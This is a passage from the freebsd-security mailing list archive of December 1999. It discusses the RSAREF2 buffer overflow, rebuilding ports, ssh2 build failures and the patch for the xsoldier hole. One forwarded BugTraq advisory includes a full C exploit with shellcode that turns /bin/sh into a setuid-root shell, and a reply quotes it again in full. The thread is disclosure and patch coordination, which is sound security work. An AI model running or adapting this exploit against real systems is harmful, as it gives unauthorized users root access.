stuff? how can I fix this port? > > Wanna post the errors, or keep us in the dark? > > Warner > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 15 2: 1:56 1999 Delivered-To: freebsd-security@freebsd.org Received: from shemp.palomine.net (shemp.palomine.net [205.198.88.200]) by hub.freebsd.org (Postfix) with SMTP id 5D36E15488 for ; Wed, 15 Dec 1999 02:01:52 -0800 (PST) (envelope-from cjohnson@palomine.net) Received: (qmail 3708 invoked by uid 1000); 15 Dec 1999 10:01:50 -0000 Date: Wed, 15 Dec 1999 05:01:49 -0500 From: Chris Johnson To: freebsd-security@freebsd.org Subject: Re: CERT released RSAREF bulletin Message-ID: <19991215050149.A3602@palomine.net> References: <4.2.2.19991214112940.01c3d5b8@mail.myable.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <4.2.2.19991214112940.01c3d5b8@mail.myable.com>; from Marc Bejarano on Tue, Dec 14, 1999 at 11:39:23AM -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org According to the CERT bulletin: FreeBSD 3.3R and prior releases contain packages with this problem. This problem was corrected December 2, 1999 in the ports tree. Packages built after this date with the rsaref updated should be unaffected by this vulnerabilities. Some or all of the following ports may be affected should be rebuilt: p5-Penguin, p5-Penguin-Easy, jp-pgp, ja-w3m-ssl, ko-pgp, pgpsendmail, pine4-ssl, premail, ParMetis, SSLtelnet, mpich, pipsecd, tund, nntpcache, p5-Gateway, p5-News-Article, ru-pgp, bjorb, keynote, OpenSSH, openssl, p5-PGP, p5-PGP-Sign, pgp, slush, ssh, sslproxy, stunnel, apache+mod_ssl, apache+ssl, lynx-ssl, w3m-ssl, zope Of these, I'm using OpenSSH, openssl, and pipsecd. It seems to me that all of these link rsaref dynamically, and that therefore I should need only to rebuild rsaref to ensure my safety. Can someone say definitively whether this is the case? And if so, why do I keep seeing these messages telling me I need to rebuild anything that depends on the rsaref port? Also, was the fix that was applied to the ssh port also applied to the OpenSSH port? Chris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 15 6:24: 0 1999 Delivered-To: freebsd-security@freebsd.org Received: from brutele02.brutele.be (brutele02.brutele.be [212.68.193.30]) by hub.freebsd.org (Postfix) with ESMTP id C71101506C for ; Wed, 15 Dec 1999 06:23:54 -0800 (PST) (envelope-from raphael.quoilin@advalvas.be) Received: from mail.brutele.be ([212.68.193.70]) by brutele02.brutele.be (8.9.3/8.8.7) with ESMTP id QAA25589 for ; Wed, 15 Dec 1999 16:20:23 +0100 Received: from [212.68.199.93] by mail.brutele.be (NTMail 4.30.0013/NT2130.00.09bcf6d6) with ESMTP id oqveeaaa for ; Wed, 15 Dec 1999 15:19:17 +0100 Message-ID: <00e101bf4707$71b34360$5dc744d4@brutele.be> From: "Raphael Quoilin" To: "> Subject: Date: Wed, 15 Dec 1999 15:17:36 +0100 Organization: Fort George Meade MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2014.211 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org auth 6e304fe2 subscribe freebsd-security raphael.quoilin@swing.be To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 15 9:24:41 1999 Delivered-To: freebsd-security@freebsd.org Received: from roble.com (roble.com [206.40.34.50]) by hub.freebsd.org (Postfix) with ESMTP id 3345D15523 for ; Wed, 15 Dec 1999 09:24:36 -0800 (PST) (envelope-from sendmail@roble.com) Received: from roble2.roble.com (roble2.roble.com [206.40.34.52]) by roble.com (Roble1b) with SMTP id JAA25333 for ; Wed, 15 Dec 1999 09:24:36 -0800 (PST) Date: Wed, 15 Dec 1999 09:24:34 -0800 (PST) From: Roger Marquis To: security@FreeBSD.ORG Subject: Re: Security Advisory: Buffer overflow in RSAREF2 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org spork wrote: > does this mean that simply patching, recompiling, and installing librsaref > will fix ssh (for this vuln, not the last)? You could also edit the ssh/Makefile to change CONFIGURE_ARGS: CONFIGURE_ARGS+= #CONFIGURE_ARGS+= --with-rsaref and recompile/reinstall. -- Roger Marquis Roble Systems Consulting http://www.roble.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 15 9:37:13 1999 Delivered-To: freebsd-security@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id DBFD21551F for ; Wed, 15 Dec 1999 09:37:05 -0800 (PST) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id MAA08303; Wed, 15 Dec 1999 12:36:52 -0500 (EST) (envelope-from wollman) Date: Wed, 15 Dec 1999 12:36:52 -0500 (EST) From: Garrett Wollman Message-Id: <199912151736.MAA08303@khavrinen.lcs.mit.edu> To: Roger Marquis Cc: security@FreeBSD.ORG Subject: Re: Security Advisory: Buffer overflow in RSAREF2 In-Reply-To: References: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org < said: > You could also edit the ssh/Makefile to change CONFIGURE_ARGS: > CONFIGURE_ARGS+= > #CONFIGURE_ARGS+= --with-rsaref Which, if you are located in the United States, is unlawful without a license from RSA Security. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 15 9:48: 8 1999 Delivered-To: freebsd-security@freebsd.org Received: from quaggy.ursine.com (lambda.blueneptune.com [209.133.45.179]) by hub.freebsd.org (Postfix) with ESMTP id 0D3D5152E9 for ; Wed, 15 Dec 1999 09:48:05 -0800 (PST) (envelope-from fbsd-security@ursine.com) Received: from michael (lambda.ursine.com [209.133.45.69]) by quaggy.ursine.com (8.9.3/8.9.3) with ESMTP id JAA55933 for ; Wed, 15 Dec 1999 09:48:04 -0800 (PST) Message-ID: <199912150948040350.0CA353DD@quaggy.ursine.com> In-Reply-To: <19991215050149.A3602@palomine.net> References: <4.2.2.19991214112940.01c3d5b8@mail.myable.com> <19991215050149.A3602@palomine.net> X-Mailer: Calypso Version 3.00.00.13 (2) Date: Wed, 15 Dec 1999 09:48:04 -0800 From: "Michael Bryan" To: freebsd-security@FreeBSD.ORG Subject: Re: CERT released RSAREF bulletin Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 12/15/99 at 5:01 AM Chris Johnson wrote: > >Of these, I'm using OpenSSH, openssl, and pipsecd. It seems to me that all= of >these link rsaref dynamically, and that therefore I should need only to= rebuild >rsaref to ensure my safety. Can someone say definitively whether this is= the >case? If they link rsaref dynamically, yes, you just need to rebuild the library. Use "ldd" on any executable to see what libraries it loads dynamically. >And if so, why do I keep seeing these messages telling me I need to >rebuild anything that depends on the rsaref port? Also, was the fix that= was >applied to the ssh port also applied to the OpenSSH port? The fix applied to the ssh port did not need to be applied to OpenSSH. The same problem did not exist in OpenSSH. Michael Bryan fbsd-security@ursine.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 15 10:16:10 1999 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id E5E2A155A0 for ; Wed, 15 Dec 1999 10:16:05 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id LAA77183; Wed, 15 Dec 1999 11:16:03 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id LAA62258; Wed, 15 Dec 1999 11:16:03 -0700 (MST) Message-Id: <199912151816.LAA62258@harmony.village.org> To: Chris Johnson Subject: Re: CERT released RSAREF bulletin Cc: freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Wed, 15 Dec 1999 05:01:49 EST." <19991215050149.A3602@palomine.net> References: <19991215050149.A3602@palomine.net> <4.2.2.19991214112940.01c3d5b8@mail.myable.com> Date: Wed, 15 Dec 1999 11:16:03 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <19991215050149.A3602@palomine.net> Chris Johnson writes: : Of these, I'm using OpenSSH, openssl, and pipsecd. It seems to me that all of : these link rsaref dynamically, and that therefore I should need only to rebuild : rsaref to ensure my safety. Can someone say definitively whether this is the : case? And if so, why do I keep seeing these messages telling me I need to : rebuild anything that depends on the rsaref port? Also, was the fix that was : applied to the ssh port also applied to the OpenSSH port? I listed all the ports that used the rsaref port as ones to rebuild. It is the only way to be sure, even though not all ports that use it are vulnerable. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 15 10:47:38 1999 Delivered-To: freebsd-security@freebsd.org Received: from agora.rdrop.com (agora.rdrop.com [199.2.210.241]) by hub.freebsd.org (Postfix) with ESMTP id 5F8EE1519F for ; Wed, 15 Dec 1999 10:47:36 -0800 (PST) (envelope-from batie@agora.rdrop.com) Received: (from batie@localhost) by agora.rdrop.com (8.8.5/8.8.7) id KAA22980; Wed, 15 Dec 1999 10:47:16 -0800 (PST) (envelope-from batie) Message-ID: <19991215104716.29064@rdrop.com> Date: Wed, 15 Dec 1999 10:47:16 -0800 From: Alan Batie To: "Network Admin [JPeterson]" Cc: Warner Losh , freebsd-security@FreeBSD.ORG Subject: Re: ssh2 port broken? References: <199912150624.XAA58523@harmony.village.org> Mime-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg=pgp-md5; boundary=opJtzjQTFsWo+cga X-Mailer: Mutt 0.88 In-Reply-To: ; from Network Admin [JPeterson] on Wed, Dec 15, 1999 at 02:06:44AM -0500 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org --opJtzjQTFsWo+cga Content-Type: text/plain; charset=us-ascii On Wed, Dec 15, 1999 at 02:06:44AM -0500, Network Admin [JPeterson] wrote: > Sorry - it must've been the fact that rsaref had already been updated or > something in the packages .. I replaced > ports/security/rsaref/patches/patch.ac with the rsaref2.patch file found at: > ftp://www.core-sdi.com/pub/patches/rsaref2.patch > and redid the make, worked fine =) No, it's very weird, the patch in patch.ac looks fine, but patch reports that all four hunks fail in it. www.core-sdi.com doesn't have an ip address --- use ftp.core-sdi.com instead. The difference in the patches seems to be some trailing spaces on the blank lines. Someone needs to fix the port... -- Alan Batie ______ www.rdrop.com/users/batie Me batie@agora.rdrop.com \ / www.qrd.org The Triangle PGPFP DE 3C 29 17 C0 49 7A \ / www.pgpi.com The Weird Numbers 27 40 A5 3C 37 4A DA 52 B9 \/ www.anti-spam.net NO SPAM! --opJtzjQTFsWo+cga Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBOFfiNIv4wNua7QglAQF0OAP/awRHm6HZy86N22MYZwVlfspMQPXy3rV3 YyL49cWQ1M9NGOyfFMdaaS13UEqZzTh+U7cZvH9uaBEk3HJBZiWdCRrSTtdcU03/ XLNm+CYP+OmMyOnLl32KI1U4+okB1KPutfRnz9xgIUUclYmmbZ8ndya1274My8eP vkykMJ9N1MA= =ci+G -----END PGP SIGNATURE----- --opJtzjQTFsWo+cga-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 15 10:50:59 1999 Delivered-To: freebsd-security@freebsd.org Received: from pawn.primelocation.net (pawn.primelocation.net [205.161.238.235]) by hub.freebsd.org (Postfix) with ESMTP id 86E071553B for ; Wed, 15 Dec 1999 10:50:57 -0800 (PST) (envelope-from cdf.lists@fxp.org) Received: by pawn.primelocation.net (Postfix, from userid 1016) id 342CC9B4A; Wed, 15 Dec 1999 13:50:56 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by pawn.primelocation.net (Postfix) with ESMTP id 2B49FBA0C; Wed, 15 Dec 1999 13:50:56 -0500 (EST) Date: Wed, 15 Dec 1999 13:50:56 -0500 (EST) From: "Chris D. Faulhaber" X-Sender: cdf.lists@pawn.primelocation.net To: Alan Batie Cc: freebsd-security@FreeBSD.ORG Subject: Re: ssh2 port broken? In-Reply-To: <19991215104716.29064@rdrop.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 15 Dec 1999, Alan Batie wrote: > No, it's very weird, the patch in patch.ac looks fine, but patch reports > that all four hunks fail in it. > www.core-sdi.com doesn't have an ip address --- use ftp.core-sdi.com instead. > The difference in the patches seems to be some trailing spaces on the blank > lines. Someone needs to fix the port... > asami 1999/12/14 14:53:28 PST Modified files: security/rsaref/patches patch-ac Log: Fix whitespace problem. Submitted by: jedgar@fxp.org Revision Changes Path 1.3 +38 -46 ports/security/rsaref/patches/patch-ac ----- Chris D. Faulhaber | All the true gurus I've met never System/Network Administrator, | claimed they were one, and always Reality Check Information, Inc. | pointed to someone better. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 15 10:56:12 1999 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id EFDF7154FF for ; Wed, 15 Dec 1999 10:56:03 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id LAA77364; Wed, 15 Dec 1999 11:56:00 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id LAA62640; Wed, 15 Dec 1999 11:56:00 -0700 (MST) Message-Id: <199912151856.LAA62640@harmony.village.org> To: Alan Batie Subject: Re: ssh2 port broken? Cc: "Network Admin [JPeterson]" , freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Wed, 15 Dec 1999 10:47:16 PST." <19991215104716.29064@rdrop.com> References: <19991215104716.29064@rdrop.com> <199912150624.XAA58523@harmony.village.org> Date: Wed, 15 Dec 1999 11:56:00 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I was about to say that ssh works fine (and well, it does), but I'm building ssh2 now and will see if that is any different. Just confirmed. With a completely fresh ports tree from a cvs repo mirrored last night at approx 2am mst I can build rsaref and ssh ssh2 fails to build because of automake problems. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 15 19:38:20 1999 Delivered-To: freebsd-security@freebsd.org Received: from green.dyndns.org (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 8EDE114E94; Wed, 15 Dec 1999 19:38:09 -0800 (PST) (envelope-from green@FreeBSD.org) Received: from localhost (green@localhost [127.0.0.1]) by green.dyndns.org (8.9.3/8.9.3) with ESMTP id WAA01000; Wed, 15 Dec 1999 22:37:38 -0500 (EST) (envelope-from green@FreeBSD.org) Date: Wed, 15 Dec 1999 22:37:37 -0500 (EST) From: Brian Fundakowski Feldman X-Sender: green@green.dyndns.org To: Mark Murray Cc: Kris Kennaway , security@FreeBSD.org Subject: OpenSSH in the base (was Re: OpenSSL update) In-Reply-To: <199912151002.dBFA2Ro12236@gratis.grondar.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 15 Dec 1999, Mark Murray wrote: > > Sounds great. I hope this means I get to import OpenSSH! > > Hell, yes! > > I reckon it may be better to let me do it; that way I can get > Internat and Freefall synchronised. We should discuss this and its ramifications on -security. I'll move this there :) > > M > -- > Mark Murray > Join the anti-SPAM movement: http://www.cauce.org > -- Brian Fundakowski Feldman \ FreeBSD: The Power to Serve! / green@FreeBSD.org `------------------------------' To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 15 20:23:33 1999 Delivered-To: freebsd-security@freebsd.org Received: from obscurity.org (obscurity.org [209.17.177.240]) by hub.freebsd.org (Postfix) with SMTP id 2638E154E5 for ; Wed, 15 Dec 1999 20:23:30 -0800 (PST) (envelope-from cengland@obscurity.org) Received: (qmail 430 invoked by uid 1003); 16 Dec 1999 04:36:54 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 16 Dec 1999 04:36:54 -0000 Date: Wed, 15 Dec 1999 20:36:53 -0800 (PST) From: Chris England To: freebsd-security@freebsd.org Subject: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I personally have not tested this. I'm not too big on games, but I would recommend anyone who has this game installed suid-root to test the snippet code against it and post the results to this list. Cheers, -Chris England ---------- Forwarded message ---------- Date: Wed, 15 Dec 1999 17:11:36 MST From: Brock Tellier To: BUGTRAQ@SECURITYFOCUS.COM Subject: FreeBSD 3.3 xsoldier root exploit Greetings, OVERVIEW A vulnerability in FreeBSD 3.3's xsoldier will allow any user to gain root access. This user does not have to have a valid $DISPLAY to exploit this. BACKGROUND Only FreeBSD 3.3-RELEASE has been tested. xsoldier, suid-root by default, was installed as part of the X11 games packages via /stand/sysinstall. DETAILS More problems with FreeBSD 3.3 ports. This time with xsoldier, a suid-root game. A simple overflow in the -display option allows any user to gain root. Although xsoldier only runs under X, a long -display arg on the CL will allow us to gain root. --- xsoldierx.c --- /* * xsoldier exploit for Freebsd-3.3-RELEASE * Drops a suid root shell in /bin/sh * Brock Tellier btellier@usa.net */ #include char shell[]= /* mudge@l0pht.com */ "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/ui"; #define CODE "void main() { chmod (\"/bin/sh\", 0004555);}\n" void buildui() { FILE *fp; char cc[100]; fp = fopen("/tmp/ui.c", "w"); fprintf(fp, CODE); fclose(fp); snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c"); system(cc); } main (int argc, char *argv[] ) { int x = 0; int y = 0; int offset = 0; int bsize = 4400; char buf[bsize]; int eip = 0xbfbfdb65; /* works for me */ buildui(); if (argv[1]) { offset = atoi(argv[1]); eip = eip + offset; } fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE \n"); fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n"); fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize); for ( x = 0; x < 4325; x++) buf[x] = 0x90; fprintf(stderr, "NOPs to %d\n", x); for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y]; fprintf(stderr, "Shellcode to %d\n",x); buf[x++] = eip & 0x000000ff; buf[x++] = (eip & 0x0000ff00) >> 8; buf[x++] = (eip & 0x00ff0000) >> 16; buf[x++] = (eip & 0xff000000) >> 24; fprintf(stderr, "eip to %d\n",x); buf[bsize]='\0'; execl("/usr/X11R6/bin/xsoldier", "xsoldier", "-display", buf, NULL); } ------- Brock Tellier UNIX Systems Administrator Chicago, IL, USA btellier@usa.net ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 15 21:11:33 1999 Delivered-To: freebsd-security@freebsd.org Received: from anarcat.dyndns.org (phobos.IRO.UMontreal.CA [132.204.20.20]) by hub.freebsd.org (Postfix) with ESMTP id DD1BE1558B for ; Wed, 15 Dec 1999 21:11:24 -0800 (PST) (envelope-from spidey@anarcat.dyndns.org) Received: by anarcat.dyndns.org (Postfix, from userid 1000) id 16DA21B33; Thu, 16 Dec 1999 00:11:23 -0500 (EST) From: Spidey MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14424.29817.586093.109020@anarcat.dyndns.org> Date: Thu, 16 Dec 1999 00:11:21 -0500 (EST) To: Chris England Cc: freebsd-security@FreeBSD.ORG Subject: Re: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd) References: X-Mailer: VM 6.72 under 21.1 (patch 7) "Biscayne" XEmacs Lucid Reply-To: Spidey Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org A patch has been commited today in the ports collection. I have not tested either of the patched and un-patched proggies... The AnarCat --- Big Brother told Chris England to write, at 20:36 of December 15: > I personally have not tested this. I'm not too big on games, but I would > recommend anyone who has this game installed suid-root to test the snippet > code against it and post the results to this list. > > Cheers, > -Chris England > > > ---------- Forwarded message ---------- > Date: Wed, 15 Dec 1999 17:11:36 MST > From: Brock Tellier > To: BUGTRAQ@SECURITYFOCUS.COM > Subject: FreeBSD 3.3 xsoldier root exploit > > Greetings, > > OVERVIEW > A vulnerability in FreeBSD 3.3's xsoldier will allow any user to gain root > access. This user does not have to have a valid $DISPLAY to exploit this. > > BACKGROUND > Only FreeBSD 3.3-RELEASE has been tested. xsoldier, suid-root by default, was > installed as part of the X11 games packages via /stand/sysinstall. > > DETAILS > More problems with FreeBSD 3.3 ports. This time with xsoldier, a suid-root > game. A simple overflow in the -display option allows any user to gain root. > Although xsoldier only runs under X, a long -display arg on the CL will allow > us to gain root. > > --- xsoldierx.c --- > /* > * xsoldier exploit for Freebsd-3.3-RELEASE > * Drops a suid root shell in /bin/sh > * Brock Tellier btellier@usa.net > */ > > > #include > > char shell[]= /* mudge@l0pht.com */ > "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" > "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" > "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" > "\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/ui"; > > #define CODE "void main() { chmod (\"/bin/sh\", 0004555);}\n" > > void buildui() { > FILE *fp; > char cc[100]; > fp = fopen("/tmp/ui.c", "w"); > fprintf(fp, CODE); > fclose(fp); > snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c"); > system(cc); > } > > main (int argc, char *argv[] ) { > int x = 0; > int y = 0; > int offset = 0; > int bsize = 4400; > char buf[bsize]; > int eip = 0xbfbfdb65; /* works for me */ > buildui(); > > if (argv[1]) { > offset = atoi(argv[1]); > eip = eip + offset; > } > fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE > \n"); > fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n"); > fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize); > > for ( x = 0; x < 4325; x++) buf[x] = 0x90; > fprintf(stderr, "NOPs to %d\n", x); > > for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y]; > fprintf(stderr, "Shellcode to %d\n",x); > > buf[x++] = eip & 0x000000ff; > buf[x++] = (eip & 0x0000ff00) >> 8; > buf[x++] = (eip & 0x00ff0000) >> 16; > buf[x++] = (eip & 0xff000000) >> 24; > fprintf(stderr, "eip to %d\n",x); > > buf[bsize]='\0'; > > execl("/usr/X11R6/bin/xsoldier", "xsoldier", "-display", buf, NULL); > > } > > ------- > > Brock Tellier > UNIX Systems Administrator > Chicago, IL, USA > btellier@usa.net > > ____________________________________________________________________ > Get free email and a permanent address at http://www.netaddress.com/?N=1 > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message -- Si l'image donne l'illusion de savoir C'est que l'adage pretend que pour croire, L'important ne serait que de voir Lofofora To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 15 22:15:42 1999 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id CA98D15545 for ; Wed, 15 Dec 1999 22:15:37 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id XAA80181; Wed, 15 Dec 1999 23:15:35 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id XAA69151; Wed, 15 Dec 1999 23:15:35 -0700 (MST) Message-Id: <199912160615.XAA69151@harmony.village.org> To: Chris England Subject: Re: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd) Cc: freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Wed, 15 Dec 1999 20:36:53 PST." References: Date: Wed, 15 Dec 1999 23:15:35 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message Chris England writes: : I personally have not tested this. I'm not too big on games, but I would : recommend anyone who has this game installed suid-root to test the snippet : code against it and post the results to this list. The bugtraq guys forwarded the report to SO before they sent it to bugtraq. We had it fixed within a couple of hours (and it would have been faster if we weren't in ports freeze). The xsoldier package is bumped from 3.4R, but the patch for the port will be on the cd, and has been in the repo for a coule of hours now :-) Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 3:36:53 1999 Delivered-To: freebsd-security@freebsd.org Received: from obscurity.org (obscurity.org [209.17.177.240]) by hub.freebsd.org (Postfix) with SMTP id 800B8150D2 for ; Thu, 16 Dec 1999 03:36:51 -0800 (PST) (envelope-from cengland@obscurity.org) Received: (qmail 19885 invoked by uid 1003); 16 Dec 1999 11:50:16 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 16 Dec 1999 11:50:16 -0000 Date: Thu, 16 Dec 1999 03:50:16 -0800 (PST) From: Chris England To: Warner Losh Cc: freebsd-security@FreeBSD.ORG Subject: Re: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd) In-Reply-To: <199912160615.XAA69151@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi Warner, > In message Chris England writes: > : I personally have not tested this. I'm not too big on games, but I would > : recommend anyone who has this game installed suid-root to test the snippet > : code against it and post the results to this list. > > The bugtraq guys forwarded the report to SO before they sent it to > bugtraq. We had it fixed within a couple of hours (and it would have > been faster if we weren't in ports freeze). > > The xsoldier package is bumped from 3.4R, but the patch for the port > will be on the cd, and has been in the repo for a coule of hours now > :-) > > Warner > It's good to see most of the posters are doing that these days. I thought I would be double-sure. Cheers, -Chris England To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 16 4: 6: 2 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns1.via-net-works.net.ar (ns1.via-net-works.net.ar [200.10.100.10]) by hub.freebsd.org (Postfix) with ESMTP id 07E6814E7D for ; Thu, 16 Dec 1999 04:05:59 -0800 (PST) (envelope-from fpscha@ns1.via-net-works.net.ar) Received: (from fpscha@localhost) by ns1.via-net-works.net.ar (8.8.5/8.8.4) id JAA22894 for freebsd-security@freebsd.org; Thu, 16 Dec 1999 09:07:49 -0300 (GMT) From: Fernando Schapachnik Message-Id: <199912161207.JAA22894@ns1.via-net-works.net.ar> Subject: OpenSSH vulnerable to protocol flaw? To: freebsd-security@freebsd.org Date: Thu, 16 Dec 1999 09:06:54 -0300 (GMT) Reply-To: Fernando Schapachnik X-Mailer: ELM [version 2.4ME+ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In recent post to bugtraq, someone stated that ssh1 was vulnerable to a protocol flaw which could allow a malicious party to insert arbitrary characters in the comunication channel. Anybody knows if OpenSSH is 